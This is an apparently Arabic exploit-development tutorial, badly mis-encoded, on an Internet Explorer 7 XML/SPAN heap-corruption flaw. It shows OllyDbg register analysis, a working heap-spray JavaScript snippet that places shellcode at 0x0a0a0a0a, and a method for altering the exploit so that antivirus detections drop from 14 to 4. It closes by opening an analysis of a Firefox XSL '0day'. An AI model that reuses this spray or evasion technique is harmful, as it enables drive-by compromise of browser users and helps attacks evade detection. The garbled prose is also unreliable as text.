 جُهح٘ خ Parser ُِٔكَِ جُـٟٞ جٝ ٣ٞق٢٤ XML جُٔإ٠ٍ ذحُِٕٞ جُر٢٘ ًٛج جُْْٞ ك٢ ُـس جُْْٞ

XML ٣وّٞ ذطك٤َِ ٓٓط٘ىجش ٝٛٞ ج١ًُ XML ٖػرحٌز ذ٤حٗحش ٫ ٣طْ  ذإٔ ٓحونَ جُؼح٤ٌٞط٤

 .جٍُجذ١ ٓؼحُؿطٜح ٢ٌُ ضلْٜ ًٛج ٣ؿد جٕ ضؼٍف جٕ جَٚ جُػـٍز ٛٞ يُي

ضٗـ٤َ جًٞجو ٞحٌز ًٝٛج  ُٔٞهغ ػ٠ِ ٓإٍٖ ٓٔح ٣طٓرد ك٢ق٤ع ٣طْ ًطحذس جٍٝ جٌذؼس ذح٣ص ٖٓ جْْ ج

 .ٓح ْ٘ططٍم ئ٤ُٚ ذؼى ه٤َِ

ذ٤ٖ  ٣وّٞ ذٔؼحُؿس ٓحٛٞ ٓٞؾٞو Parserـكحُـ XML ٓٓط٘ىجش ذٛلس ػحٓس جغ٘حء جُطؼحَٓ ٓغ

 :ْر٤َ جُٔػحٍ ج٧ْٝٔس ػ٠ِ

<test>im text</test> 

 

ٓطىجنِس  ذؼٝ ج٧ق٤حٕ ضٌٕٞ ج٧ْٝٔس ٣حضٍٟ ُٔحيج؟ ٧ٗٚ ك٢ im text ٣وّٞ ذٔؼحُؿس Parserجُـ ٛ٘ح

 :ك٤ٔح ذ٤ٜ٘ح ٓػ٬

<test><test2>im text</test2><test> 

 

ٌُٖ ٛ٘حُي  <test2> ٤ُؼٍف جٗٚ ٣ٞؾى ْْٝ آنٍ ٛٞ <test> ػ٤ِٚ ٓؼحُؿسٓح ذىجنَ جُْْٞ ًُُي

ًِٝ٘ح ٣ؼِْ جٕ  وجنَ جْٝٔس HTML ٌِٓٗس ٓحيج ُٞ جٌوش جٕ جهّٞ ذاٌكحم جًٞجو ؾحكح ٣ٌٍْرص جٝ

 ٣أض٢ وٌٝ جُْْٞ جُهح٘ ٛحض٤ٖ جُؼ٤ٓ٬ط٤ٖ ٓحيج ْ٘لؼَ؟ ٛ٘ح <> ًٞجو ضكط١ٞ ًػ٤ٍج ػ٠ِج٧

CDATA ُي جٕ ضىنَ جًٞجو ق٤ع جٗٚ ٣ط٤ف HTML جٝ ج١ ًٞو ضٗحء ذ٤٘ٚ ذك٤ع جٕ جُـParser 

ٝئظٜحٌ جنطأء ك٢ قحُس جٗي جونَ ج٧ًٞجو ٖٓ وٕٝ يُي جُْْٞ ٧ٗٚ ٤ْكَٛ ن١ِ  ُٖ ٣وّٞ ذٔؼحُؿطٚ

 :ج ٓػحٍ ػ٠ِ يُيًٝٛ ُِر٤٘حش

<test><test2><html>im text<html></test2><test> 

 

وٌٝ ًر٤ٍ،  CDATA ًُُي ُْْٞ HTML ٝ XML ضٍٟ ٛ٘ح جٕ ج٧ٍٓ ٤ْهط١ِ ذ٤ٖ جْٝٔس كٌٔح

ذٍٓؿس ٌُٖ جٍُٔ ْٜٓ ؾىج ٣ٝؿد جٕ  جض٠٘ٔ جٕ ج٧ٍٓ ضٞٞف، جػِْ جٕ جُٔٞٞٞع ضكٍٞ ئ٠ُ ٓٞٞٞع

 .ئْط٤ؼحذٚ ٢ٌُ ٣َٜٓٗططٍم ُؿ٤ٔغ جُ٘ٞجق٢ ك٢ ج٩ْطػٔحٌ 



ًٝٛج جُْْٞ ٣ٓطؼَٔ ك٢ ضه٤ٛٙ  SPAN جُٗن جُػح٢ٗ ٖٓ جُٔٓط٘ى ٛٞ ػرحٌز ػٖ ْْٝ ٖٓ ٗٞع

 .ُ٘ٙ جٝ ٓٓط٘ى جٝ ؾُء ًٔح ٛٞ ٓٞٞف جػىجوش ٓؼ٤٘س

جٌُٔطٞخ كٞم ٣ؿد جٕ ٣طْ ٓؼحِٓطٚ ػ٠ِ  XML ج٧ٍٝ ٣ىٍ ػ٠ِ جٕ هحُد SPAN كٜ٘حى ٍٟٗ جٕ

 :،٫قع ؾ٤ىج جٌُٞوHTML جْحِ ًٞو

DATASRC=#I ٞٛٝ ٓٛىٌ جُر٤حٗحش ٝج١ًُ ٤ٗ٣ٍ ئ٠ُ I ٓٓط٘ى ٞٛٝ XML  ًٝٛج ٌٓطٞخ ك٢

 .ذىج٣طٚ

DATAFLD=C ٣طْ ضكى٣ى جًػٍ ٝٛ٘ح ٣وٛى جُكوَ ج١ًُ ذٚ جُْْٞ ٛ٘ح C وجنَ ٓٓط٘ى XML 

DATAFORMATAS=HTML ًٝٔح ٛٞ ٓٞٞف جُطؼحَٓ ػ٠ِ  ٝٛ٘ح ٠ر٤ؼس جُطؼحَٓ ٓغ جُوحُد

 . HTML جْحِ ًٞو

جُٛلكس...،ٗلّ جُطؼ٤ِٔس ضْ ئػحوضٜح ٢ٛٝ ئػ٬ّ جُٔطٛلف ذإٔ جُر٤حٗحش  ٍٓ ؿ٣ٍد ك٢ٌُٖ أ٫ ضٍٟ ج

 .HTML ضؼحِٓطٜح ػ٠ِ جْحِ ٣ؿد جٕ ٣طْ

 Heap Corruption ٓح ٠ٔٓ٣ خ ٝٛ٘ح جٌُِٔٗس جُؼظ٠ٔ ق٤ع جٕ ٝٞغ جُْْٞ وجنَ ٗلٓٚ ٣ٓرد

 ٓإٍٖ ٌُحتٖ جٝ وجُس ػ٠ِ -جُٔإ٠ٍز ذحُِٕٞ ج٧قٍٔ-ذ٤طحش ٖٓ جْْ جُْٜٞص  4ذٌطحذس  ٝج١ًُ ٣ٓٔف

 .ٓؼ٤٘س

 :ج٩ْطػٔحٌ ضكى٣ى ٌٓحٕ جُهطأ ٝضو٤٘حش

ٝٞغ ٗوطس ضٞهق ٝيُي ذؼى  7EA81DDCجُطح٢ُ  ٝجيٛد ُِؼ٘ٞجٕ OllyDbg ك٢ IE7 ج٥ٕ جكطف

 ذاْطهىجّ I FRAME.html هْ ذطٛلف جُِٔق F9 ضٗـ٤َ جُٔطٛلف ك٢ قحُس جُط٘و٤ف ذحُٟـ١ ػ٠ِ

IE7 ُضٞهق ػ٘ى ٗوطس جُطٞهق ضِي جُط٢ ذٜح جُطؼ٤ِٔحش  ٔطٛلفذؼى كطف جُِٔق ٓرحٍٖز ضؿى إٔ ج

 :جُطح٤ُس

7EA81DDC        MOV ECX,DWORD PTR DS:[EAX] 

 

 ٍٓز أنٍٟ ْطؿى ٗلٓي ػ٘ى ٗلّ جٌُٔحٕ ٍٓز أنٍٟ ٌُٖ ٓغ ذؼٝ جُطـ٤ٍ ه٬٤ِ ػ٠ِ F9 جٞـ١

 :جُٔٓؿ٬ش ٫قع جٌُٛٞز

 

 ُوطؼس ٖٓ جٌُٞو جُٔٞؾٞوز كٞم ك٤ْ٢٘ح٣ٌٞ ُٜؿّٞ ٓطٞهغ ٣ٌٖٔ جٕ ٣ٖٗ ػ٠ِ ًٛٙ ج ج٥ٕ ُٟ٘غ

 :جٌُٛٞز

7EA81DDC        MOV ECX,DWORD PTR DS:[EAX]  

7EA81DDE        PUSH EDI  

7EA81DDF        PUSH EAX  

7EA81DE0        CALL DWORD PTR DS:[ECX+84] 

 

ئ٠ُ  -ٓإٍٖ ق٤حٕٝ ضٌٕٞ ًٛٙ ج٧ٌذغ ذ٤طحش ك٢ جؿِد ج٧-جٌُٔطٞخ كٞم ٣وّٞ ذ٘وَ جٌذؼس ذح٣طحش  جٌُٞو

ئ٠ُ جٌُٔىِ ٛطحٕ جُطؼ٤ِٔطحٕ ٫  EDI ٝ EAX جُٔٓؿ٤ِٖ غْ ٣وّٞ ذىكغ ٓكط٣ٞحش ECX جُٔٓؿَ

جُطؼ٤ِٔس جُٔٞج٤ُس،ًٝٔح هِص جٕ ًٛٙ ج٧ٌذغ ذ٤طحش ػرحٌز ػٖ ٓإٍٖكاٗٚ ٤ْطْ  ضٜٔ٘ح ٌُٖ ج٧ْٛ ٢ٛ

ضٌٕٞ  ٤ِٔس ج٩ْطىػحءٝض٘ل٤ً ٓكط٣ٞحضٜح ذطؼ٤ِٔس جُولُز ج٧ٍٓ ٛ٘ح ٣هطِق ه٬٤ِ ٝٛٞ جٕ ػ ئْطؼٔحُٚ

 .ئ٠ُ جُٔإٍٖ ًٝٛج ج٧ٍٓ ٫ ٣ٌَٗ كحٌهح 84ذاٞحكس 

 

 .وػ٘ح ج٥ٕ ٗوطٍـ ٤ْ٘ح٣ٌٞ ُِٜؿّٞ

جُرٍٗحٓؽ ٣وّٞ ذطٗـ٤َ َٖ ًٞو جُهح٘ ذ٘ح ك٤ٌق َٗٛ ئ٠ُ يُي...٫قع ٓؼ٢ ُٞ  ٓح ٣ٍٗىٙ ٛٞ جٕ ٗؿؼَ

٣كط١ٞ ػ٠ِ ػ٘ٞجٕ ًٛج جُؼ٘ٞجٕ  ٝؾؼِٚ ٤ٗ٣ٍ ئ٠ُ ػ٘ٞجٕ EAX ذح٤ُٓطٍز ػ٠ِ جُٔٓؿَ جٗ٘ح ٗوّٞ



ًٝٛج جُؼ٘ٞجٕ ذىٌٝٙ  0x04213326 ٓػ٬ ٤ٗ٣ٍ ئ٠ُ جُؼ٘ٞجٕ EAX َُِٗ ًٞو جُهح٘ ذ٘ح ج١ جٗح

ًٝٛج ج٧ن٤ٍ ٤ٗ٣ٍ ئ٠ُ َٖ ًٞو نح٘ ذ٘ح،ٖٝٓ غْ ٤ْطْ ٗوَ ػ٘ٞجٕ جَُٗ ًٞو  ٣كط١ٞ ػ٠ِ ػ٘ٞجٕ

 ج٩ْطىػحء ،كرًُي ذؼى جٍُٞٚٞ ُطؼ٤ِٔس ECX جُٔٓؿَ جُهح٘ ذ٘ح ئ٠ُ

CALL DWORD PTR DS:[ECX+84] 

 

ج٣ُُحوز ٤ُٓص ٌِٓٗس ك٤ٌٔ٘٘ح ضهط٤طٜح  ٝػ٤ِٔس ECX + 84 جُرٍٗحٓؽ ٤ْولُ ُٔكط٣ٞحش جُٔٓؿَ كإ

جٝ جُطكٌْ ك٢ جُٔإٍٖ جُط٢ ضْ ٗوِٚ  EAX جُٔٓؿَ ج٧ْٛ ٛٞ جُطكٌْ ك٢ 84جٝ جٗوح٘  NOP ذاٞحكس

ٙ ئ٫ ذٞؾٞو ضـ٤ٍ ٫ ٣ٌٖٔ جٕ ٣طْ ضـ٤ٍ EAX ٫قع جُؼرحٌز ج٧ن٤ٍز ك٢ٜ ٜٓٔس ٧ٕ ٓٓؿَ) EAX ُـ

 .-ٓإٍٖ-جُٔؼىُس ئ٤ُٚ  ٤ْطْ ٗوَ جُر٤٘حش EAX ٓٓطٟٞ جًُجًٍز ٧ٕ جُٔٓؿَ ػ٠ِ

جٝ جٍُٞٚٞ ئ٠ُ ٌٓحٕ ضه٣ُٖ  ٌُٖ جُٓإجٍ ج١ًُ ٣طٍـ ٗلٓٚ ٤ًق ٤ْطْ جُطؼى٣َ ػ٠ِ ٌٓحٕ قٓحِ

 .يُي ٓإٍٖ ك٢ جًُجًٍز؟ جُؿٞجخ ٛٞ ذرٓح٠س جُػـٍز جُط٢ جضحقص ُ٘ح

 ٣ؿد جُطؼحَٓ XML ٓػِٚ ٣ؼِْ جُٔطٛلف ذإٔ جُٔٓط٘ى وجنَ ْْٝ SPAN ػٖ ٣ٍ٠ن ض٣ٌٍٍ جُْْٞ

ٝج١ًُ ٤ْإو١  Heap Corruption كاٗٚ ٤ْكىظ ضه٤ٍخ ك٢ جٌُٞٓس HTML ٓؼٚ ػ٠ِ جْحِ

 ،EAX ٤ْطْ ٗوِٚ ئ٠ُ جُٔٓؿَ ذىٌٝٙ ئ٠ُ جٌُطحذس ػ٠ِ يُي جُٔإٍٖ ج١ًُ هِ٘ح جٗٚ

 ٌُِحت٘حش جشك٢ ضـ٣ُٖ جُٔإٍٖ Heap جُرٍجٓؽ ضؼطٔى ػ٠ِ ٓغ جُؼِْ جٕ جؿِد

ٝذحُطح٢ُ قوو٘ح جُٜىف جُٔ٘ٗٞو  ECX ٝذحُطح٢ُ ك٢ EAX ذٔح جٗ٘ح ج٥ٕ جْططؼ٘ح جُطكٌْ ك٢ جُٔٓؿَ

 .ٝٛٞ ضٗـ٤َ جٌُٞو جُهح٘ ذ٘ح

َٛ ْٟ٘غ ػ٘ٞجٕ ػٗٞجت٢ ٤ًٝق ْ٘ٓطط٤غ ٓؼٍكس ٌٓحٕ جَُٗ ًٞو جُهح٘  ٌُٖ ٛ٘حُي ٌِٓٗس، ٣ؼ٢٘

َ ٝج٣ٖ ْٟ٘غ جَُٗ ًٞو َٛ ْٟ٘ؼٚ ك٢ ْٟٖ٘ٔ جٕ جُؼ٘ٞجٕ ٤ٌْٕٞ ٓٔحغ ذ٘ح ٝجيج ػٍك٘حٙ كَٜ

ج٣ؿحوٙ ك٢ جًُجًٍز ٧نً ػ٘ٞجٗٚ؟ ًُُي ٛ٘حُي ضو٤٘س ضٓطؼَٔ ك٢ غـٍجش  غْ ٗكحٍٝ HTML ٚلكس

جٍٝ جْطؼٔحٍ  Heap Srayجًػٍ جْطوٍجٌج ٝهحذ٤ِس ُ٪ْطػٔحٌ ٝض٠ٔٓ ًٛٙ جُطو٤٘س ــ جُٔطٛلف ُطؿؼِٜح

 skylined ٖٓ ٠ٍف ٛحًٍ جْٔٚ 2005ًحٕ ْ٘س  ُٜح

 :Heap Spray ُـضو٤٘س ج

ػ٤ِٔس ج٩ْطػٔحٌ، ٓرىأ ًٛٙ  ُطَٜٓ Heap Spray جُطٓحت٬ش ضأض٢ ضو٤٘س ًٝٔح ٠ٍق٘ح يُي جٌُْ ٖٓ

 Invalid Memory ج٥نٍ ٛٞ قَ ٌِٓٗس جُطو٤٘س ٛٞ ج٫ٝ ج٣ؿحو ٌٓحٕ ٓ٘حْد َُِٗ ًٞو ٝ ج٧ٍٓ

Location ٣ٝ٘طؽ ًٛج ج٧ن٤ٍ ػ٘ى جُطؼحَٓ ٓػ٬ ٓغ Unicode string ٞ٘جٗي جُط٢ ق٤ع جٕ ػ

قح٫ش أنٍٟ( ٓػ٬  جٗح ٫ جضكىظ ػٖ ًٛٙ جُػـٍز ذَ جضكىظ ك٢) unicode ٝٞؼطٚ ٤ْٛرف ػ٠ِ ٤ٛثس

٧ٕ ج٤ٗٞ٤ٌُٞو ٣طْ ك٤ٚ جُطٔػ٤َ ٌَُ ) 0x15004200 ٤ْٛرف ًٌٛج 0x15424546 ػ٘ٞجٗي ٛٞ

 ٌحٗيج٥ٕ جٚرف ػ٘ٞجٗي ٫ ٝؾٞو ُٚ ًُُي ٣طْ ض٤ْٞغ جٌُٞٓس ئ٠ُ جٕ ضؿؼَ ٖٓ ٓ ٝ (ذح٣ص2ٓكٍف ذـ 

Valid Location 0 ج١ ٌٓحٕ ٓٞؾٞو ك٢ جًُجًٍز،ُ٘لٍٜ جٕ ػ٘ٞجٕ جٌُٞٓس ٣رىأ ذـx15000000 

 4200ذكؿُ  ج١ جٗ٘ح ٗوّٞ 15004200 ًر٤ٍز ذٜح ُطَٛ ئ٠ُ كأٗ٘ح ْ٘ٔىو جٌُٞٓس ٝيُي ذكؿُ جٓحًٖ

 .ذح٣ص جٝ جًػٍ ُؿؼَ يُي جٌُٔحٕ ٓٞؾٞو ك٢ جًُجًٍز

ٌذؼس ذح٣ص ٖٓ ػ٘ٞجٕ جُْٜٞص ٤ْطْ ًطحذطٜح ػ٠ِ ٓإٍٖ جٌُحتٖ هِ٘ح ْحذوح جٕ جٍٝ ج ٗؼٞو ُػـٍض٘ح ًٝٔح

،ج٥ٕ 0A0A0A0A ًٛٙ ٣وحذِٜح ك٢ جُ٘ظحّ جُٓىج٢ْ ػٍٗ &#2570;&#2570ضٔػِص ك٢  ٝ جُط٢

ٓحيج ذؼى؟ ج٥ٕ ْ٘وّٞ  0x0A0A0A0A ٤ٗ٣ٍ ئ٠ُ EAX ٓٓؿِ٘ح هٔ٘ح ذحٌُطحذس ػ٠ِ ٓإٍٖ جٌُحتٖ

-ie كحتىز ٖٓ يُي،ٖحٛى ًٞو ج٩ْطػٔحٌ جُٔٞؾٞو ك٢ ٖٓ جًُجًٍز ٓٞؾٞو ٝئ٫ ك٬ ذؿؼَ ًٛج جٌُٔحٕ

sploit.html : 

 :جُطح٢ُ ضؿىٙ ك٢ جٍُجذ١ allinone نح٘ ذـ HEAP SPRAYٓغ ٬ٓقظس ج٢ٗ جْطؼِٔص ًٞو

http://www.milw0rm.com/exploits/7477 

 :Heap Spray ذـ جٌُٞو جُهح٘

http://www.milw0rm.com/exploits/7477
http://www.milw0rm.com/exploits/7477


var spray = unescape("%u0a0a%u0a0a");  

do {  

spray += spray;  

} while(spray.length < 0xd0000);  

memory = new Array();  

for(i = 0; i < 100; i++)  

memory[i] = spray + shellcode; 

 

 ج٣س ذط٣ٌٖٞ ٓطـ٤ٍ ٣ك٣١ٞوّٞ ك٢ جُرىrذؼى يُي ٢ْ ٣0aك١ٞ٤ جُو٤ٔس  spray ض٬قع جُٔطـ٤ٍ ًٔح

 ذحُ٘ظحّ جُٓىج٢ْ ػٍٗ( ذح٣ص ٝٓ٘ػْ قؿُ 0xd0000) 851968ذ٤٘حش يجش ٠ٍٞ ًر٤ٍ ذطٍٞ 

 :ٓٛلٞكس ك٢ جًُجًٍز ك٢ جُٓطٍ جُطح٢ُ

memory = new Array(); 

 

ذِٞى ذٜح  100َجتى جَُٗ ًٞو ٓٔح ٣ٌَٗ ُ٘ح  ذح٣ص ُٜح 851968 ٣طْ ِٓثٜح ذك٤ع ٣ٍجػح ك٢ يُي ٗٓم غْ

0A0A0A + َئ٠ُ ضْٞغ ًر٤ٍ ٫ٞٚٝ ئ٠ُ جُؼ٘ٞجٕ جَُٗ ًٞو ٝ ًٛج ٓح ٤ْإو١ ذحُلؼ 

0x0a0a0a0a ُؿؼِٚ ٌٓحٕ ٓطحقح ك٢ جًُجًٍز،ٖحٛى جٌُٛٞز ُِر٤حٗحش جُط٢ ضْ ًطحذطٜح ك٢ جًُجًٍز 

 :ذ٘ح ج١ًُ ٤ْك١ٞ جَُٗ ًٞو جُهح٘ 0x0a0a0a0a ٝجُط٢ ٗطؽ ػٜ٘ح ج٣ؿحو جٝ ؾؼَ جُؼ٘ٞجٕ

 

 

٤ْٝٞجَٚ  0x0A0A0A0A ٝ ًٛج ػ٘ٞجٕ ه٣ٍد ٗٓر٤ح ٖٓ 0A17FFA4 جُؼ٘ٞجٕ ٫قع كٞم ْطؿى

 .٣َٛ جٝ ٣لٞش جُؼ٘ٞجٕ جُٔطِٞخ ْطؿى يُي ك٢ جٌُٛٞ ضكص قط٠ Blocks ػ٤ِٔس ئٗٗحء

ًُٜج ونَ ٓغ  َٝٛ spray جُٔٞٞٞػس ك٢ جُٔطـ٤ٍ 0A0A0A0A ٌذٔح ٣طٓحتَ جُرؼٝ ٓح كحتىز

 جُؼ٘ٞجٕ ج١ًُ ٤ْ٘وَ جُط٘ل٤ً؟

ًٛج  53629123ؿ٤ٍ جُؼ٘ٞجٕ ًٛج ُٝ٘لٍٜ ٓػ٬  ِٔص ػ٘ٞجٕجُؿٞجخ ٛٞ ضه٤َ جٗي ُٞ جْطؼ

 ذٞٞغ I FRAM.html ٧ٗ٘ح ؾؼِ٘حٙ ًًُي ك٢ 0a0a0a0a ٤ٗ٤ٍْ ئ٠ُ EAXجُؼ٘ٞجٕ،ٗكٖ ٗؼِْ جٕ

 :ْ٘ٞجؾٚ جُطؼ٤ِْ ك٢ جٍٝ جٌذؼس ذح٣ص ُِْٜٞص،ج٥ٕ &2570#;&2570#

MOV ECX,DWORD PTR DS:[EAX] 

 

ج١ًُ  0x53629123 ًج ٣ؼ٢٘ جٗٚ ٣ؿد جٕ ٣ٌٕٞ جُؼ٘ٞجْٕط٘وَ ػ٘ٞجٕ جَُٗ ًٞو جُهح٘ ذ٘ح ٛ جُط٢

 :كطٛرف جُطؼ٤ِٔس ًحُطح٢ُ 0a0a0a0a ٣ك١ٞ جَُٗ ًٞو ك٢ جُؼ٘ٞجٕ

MOV ECX,DWORD PTR DS:[0a0a0a0a] 

 

 84ٝذؼى جٞحكس " 0x5362909F ٤ْٛرف 0x5362909F ٚ٘ٓٝ ECX ذٚ 0a0a0a0a جٌُٔحٕ

 .ٌٕٝٗٞ ك٢ جَُٗ ًٞو جُهح٘ ذ٘ح ٣53629123٘طؽ ُ٘ح ػ٘ٞجٗ٘ح  " ECX+84 ٧ٕ ج٩ضٛحٍ ٣ٌٕٞ

 :ض٣ٞ٘ٚ

٤ٌْٕٞ  Heap Spray جُرٓح٠س ٧ٕ ػ٤ِٔس ٨ٓ جٌُٞٓس جٝ ض٤ْٞغ جًُجًٍز ذـ ٌُٖ ج٧ٍٓ ٤ُّ ذًٜٙ

ًْ ٤ٌْٕٞ قؿٔٚ ٣ؼ٢٘  spray ج٤ٖحء ذؼ٤ٖ ج٩ػطرحٌ ٜٓ٘ح ٠ٍٞ جُٔطـ٤ٍ ٚؼد ٤ْٝطْ ك٤ٚ جضهحي

 ش جُىه٤وس ك٢ جؿِد ج٧ق٤حٕ ض٘طؽ ُ٘ح ئْطػٔحٌجشوه٤وس ، ًٝٔح ٣ؼِْ ًِ٘ح جٕ جُكٓحذح ضٓطُِّ قٓحذحش

ئْطؼٔحُٜح  ٝ NOP ؿ٤ٍ ٓٓطوٍز ًٝٛج ٌجؾغ ئ٠ُ ٓطـ٤ٍجش ًػ٤ٍز ٝجًرٍ و٤َُ ػ٠ِ يُي ٝؾٞو ضؼ٤ِٔس

جُ٘ظحّ ْطوِد  ك٢ ج٩ْطػٔحٌجش ُؼىّ ٓؼٍكس جٌُٔحٕ ذحُٟر١ ٝجُهٞف ٖٓ ضـ٤ٍجش ٓٞؾٞوز ك٢



ُٔح جضٍى جُط٣ٍن جَُٜٓ  ٓٓطك٤َ كٜٞ ٌٖٓٔ، ٌُٖ ج٩ْطػٔحٌ ٌتٓح ػ٠ِ ػود،جٗح ٫ جهٍٞ جٕ ًٛج جٍٓ

 .ٝجضٞؾٚ ُِط٣ٍن جُٛؼد

 :ج٥ٕ ٓحهٔ٘ح ذٚ ٛٞ

 ٝذحُطح٢ُ EAX ج٤ُٓطٍز ػ٠ِ جُٔٓؿَ ًطر٘ح ػ٠ِ ٓإٍٖ ًحتٖ ٓٞؾٞو ك٢ جًُجًٍز ٝذحُطح٢ُ ٞٔ٘ح-1

ECX ٍٝذحُطح٢ُ ضٗـ٤َ جٌُٞو ػٖ ٣ٍ٠ن ج٩ضٛح CALL EAX+84 

ٌٓحٗح ٓطحقح ك٢ جًُجًٍز ٢ٌُ ٗوّٞ ذاْطهحٌؼ ػ٘ٞجٕ  ٣0x0A0A0A0Aؿد جٕ ٗؿؼَ ٖٓ جٌُٔحٕ -2

 .HEAP SPRAY جَُٗ ًٞو ٓ٘ٚ ػٖ ٣ٍ٠ن ضو٤٘س

ٓطحقح ٝيُي ذكؿُ ٌٓحٕ ًر٤ٍ  0x0A0A0A0Aجُؼ٘ٞجٕ  ذاْطؼٔحٍ ًٛٙ ج٧ن٤ٍز ضٌٔ٘٘ح ٖٓ ؾؼَ-3

 .٨ٓٝ0Aٙ خ جُو٤ٔس 

ٗـ٤َ جَُٗ ًٞو ًُُي ُٖ ٗوِن ٖٓ ض ك٢ ػِٜٔح NOP ٛٞ ًٜٞٗح ضٗرٚ ضؼ٤ِٔس 0Aْرد ئْطؼٔحٍ -4

 .ٝجنط٬ف جٌُٔحٕ ٝجُهٞف ٖٓ ضـ٤ٍٛح

 ECX ئ٢ُ 0x0A0A0A0A ج١ًُ ٤ٗ٣ٍ ج٥ٕ ئ٠ُ EAX ػ٘ىٓح ٣طْ ٗوَ ٓكط٣ٞحش جُٔٓؿَ-5

 . 0Aجُو٤ْ  ًحٕ ٣ك١ٞ EAX ٧ٕ جُؼ٘ٞجٕ ج١ًُ ًحٕ ٤ٗ٣ٍ ُٚ ٤ْ0x0A0A0A0Aٛرف 

 . 0x0A0A0A8E ٤ٌْٕٞ ئ٠ُ ECX+84 ج٩ضٛحٍ ٍ-6

ج١ ُٜح ٗلّ جُؼَٔ،ًٝٔح هِ٘ح أٗٚ  NOP ٝجُط٢ ضؼطرٍ ضؼ٤ِٔح ضٗرٚ 0Aو٤ْ ْ٘ؿى ػ٘ى يُي جٌُٔحٕ جُ-7

 :قطٔح ٤ْأض٢ جَُٗ ًٞو ًٔح ضٞٞكٚ ًٛٙ جُؼرحٌز spray ذؼى ٓكط٣ٞحش جُٔطـ٤ٍ

memory[i] = spray + shellcode; 

 

 :جٗ٘ح ْ٘طىقٍؼ قطح َٗٛ ئ٠ُ جَُٗ ًٞو ٝٛح ٛٞ يج ًٔح ضٞٞف جٌُٛٞز ج١

 

ًٝٛج و٤َُ ػ٠ِ جٗ٘ح قطٔح َْ٘ٛ ئ٠ُ  0x0A0A0A0Aكٌِٜح ضأض٢ ذؼى جُؼ٘ٞج٣ٖ  ًٝٔح ض٬قع ئ٠ُ

ُِط٬ػد  ٤ْٝطْ ضٗـ٤ِٚ ٝذًٜج ً٘ح هى ٍٖق٘ح ج٩ْطػٔحٌ ٝجُػـٍز نطسٌ ذهطٞز ٝ ج٥ٕ ْ٘أض٢ جَُٗ ًٞو

 .ضكى٣ع آنٍ 2009ذح٩ْطػٔحٌ ذط٣ٍوس ِْٜس ؾٍذطٜح جٗح ٝهى ضهط٤ص ذٜح جٌُحْرٍ ٌْح١ 

 : Variant Exploit ذ٘حء ئْطػٔحٌ ٓطـ٤ٍذط٣ٍوس ِْٜس

 ٓإ٠ٍجٕ ذحُٕٞ- X ٝ C ْحذوح جٗٚ ٣ٞؾى ٛ٘حُي ٤ْٖٔٝ جنطحٌٛٔح ٌٓطٗق جُػـٍز ٛٔح ُٞ ضطًًٍ ٓح هِ٘ٚ

 .٤ْكىظ ذٔح جٜٗٔح ٖٓ جنط٤حٌ جُٔرٍٓؽ كٓ٘هطحٌ ٗكٖ ج٣ٟح ٤ْٖٔٝ آن٣ٍٖ ٍٟٝٗ ٓحيج-ج٧نٍٟ

 : ٓح ٗـ٤ٍٙ ٛٞ

<X>ئ٠ُ<F> ٍٝٗـ٤<C> ئ٠ُ<H> ْٗـ٤ٍ ٓح ٛٞ ٌٓطٞخ جٓحّ غ DATAFLD ئ٠ُ H . 

 :ج٢ِٚ٧ ج٫ٝ ٖحٛى جُ٘ط٤ؿس ج٥ٕ ٗؿٍخ جُلكٙ ذحٌُحْرٍ ٌْح١،ٗلكٙ

 

 :جُطؼى٣َ ٝج٥ٕ ذؼى

 

ٝػ٘ىٓح ػىُص ُُٗص  14ج٢ِٚ٧ ًحٗص جُ٘ط٤ؿس  VirusTotal ُٔح ككٛص ك٢ ٛ٘حُي ٤ٖة آنٍ ٛٞ ج٢ٗ

 :جٍُجذ١ ،ًٝٛج 4ٞٛئ٠ُ 

ٚؼد  جًرٍ هىٌ ٌٖٓٔ ٖٓ جُٔؼِٞٓحش ج٧ٍٓ ٌٕٗٞ هى ج٤ٜٗ٘ح جُٔٞٞٞع جٌؾٞج جٕ ضٌٞٗٞج هى جنًضْ ٝذًٜج

 .ه٬٤ِ ًُُي ػ٤ِي جُط٤ًٍُ ٝج٩ؾطٜحو ُِلْٜ جًػٍ

 .ٓؼٍٜ ُِهطأ ،كحُ٘وحٔ ٝضٛك٤ف ج٧نطحء ٓورٍٞ ًٛج ٣ؼطرٍ ؾٜى ٖه٢ٛ هى ٣ٌٕٞ

 .٠ِٚ ػ٤ِٚ ػ٤ِٚ ِْْٝ ٝج٬ُٛز ٝج٬ُّٓ ػ٠ِ جُ٘ر٢ جُٔهطحٌ

 جُِْٜ جٍْٗٛٛ ُٝٛ ػٍٔ ع ٛحذ٣ٍ٤ٖٝجُٔٞٞٞع ٜٓىٟ ٩نٞجٗ٘ح ك٢ ؿُز جُٔؿحٛى٣ٖ ْٜٓ٘ ٝ جُ

 



 : Firefox Xslضك٤َِ غـٍز 

 .جُلح٣ٍكًّٞ جُط٢ ظٍٜش ١ ج٥ٝٗس ج٧ن٤ٍز جٌوش جٕ جػٍؼ ٝ جٍٖـ ٤ٖة ْٜٓ ٝٛٞ غـٍز

نط٤ٍز هى ضٜىو ج٧ٖٓ جُٗه٢ٛ ُِٔٓطهى٤ٖٓ،٠رؼح ٝذـٝ  ٍُٝذٔح ًػٍ جُطٛؼ٤ى ػ٤ِٜحج ذأٜٗح غـٍز

 .ز ئيج ضٞكٍش ٠ٍٖٝ أنٍٟضؼطرٍ نط٤ٍ جُ٘ظٍ ػٖ ٗٞػ٤س جُػـٍز كاٜٗح

ًٛج جٍُجذ١ ٓٓطك٤َ ذٌِٗٚ  ئْطـ٬ٍ جُػـٍز جُٔٞؾٞوز ك٢ ٌُٖ جٗح جهٍٞ قٓد ضك٢ِ٤ِ جُر١٤ٓ إٔ ػ٤ِٔس

ػ٤ِٔس ج٩ْطػٔحٌ جُػـٍز ًحٗص ِْٜس ٩ْطػٍٔٛح ٖٓ ٝٞؼٜح ك٢ ٤َٓ  جُكح٢ُ ْٝأٝٞف ذؼى ه٤َِ،كِٞ جٕ

  ٌّٝٝ كٜٞ ٓؼٍٝف

 Mozilla Firefox XSL Parsing Remote Memory Corruption PoC جُػـٍز ج٠ُٝ٧

0day 

 :ضؼ٣ٍق

 ذٞجْطس XML ذحُطكى٣ى أغ٘حء ضك٣َٞ ٓٓط٘ى XSLجُػـٍز ٢ٛ ػرحٌز ػٖ نطأ ك٢ ٓؼحُؿس ِٓلحش

XSLT 

 :XSL ٓحٛٞ

 .أٗص ذحٌَُٗ ج١ًُ ضٍؿد ك٤ٚ XML ذٌَ ذٓح٠س ٢ٛ ُـس ضٓحػىى ػ٠ِ ػٍٜ ِٓلحش

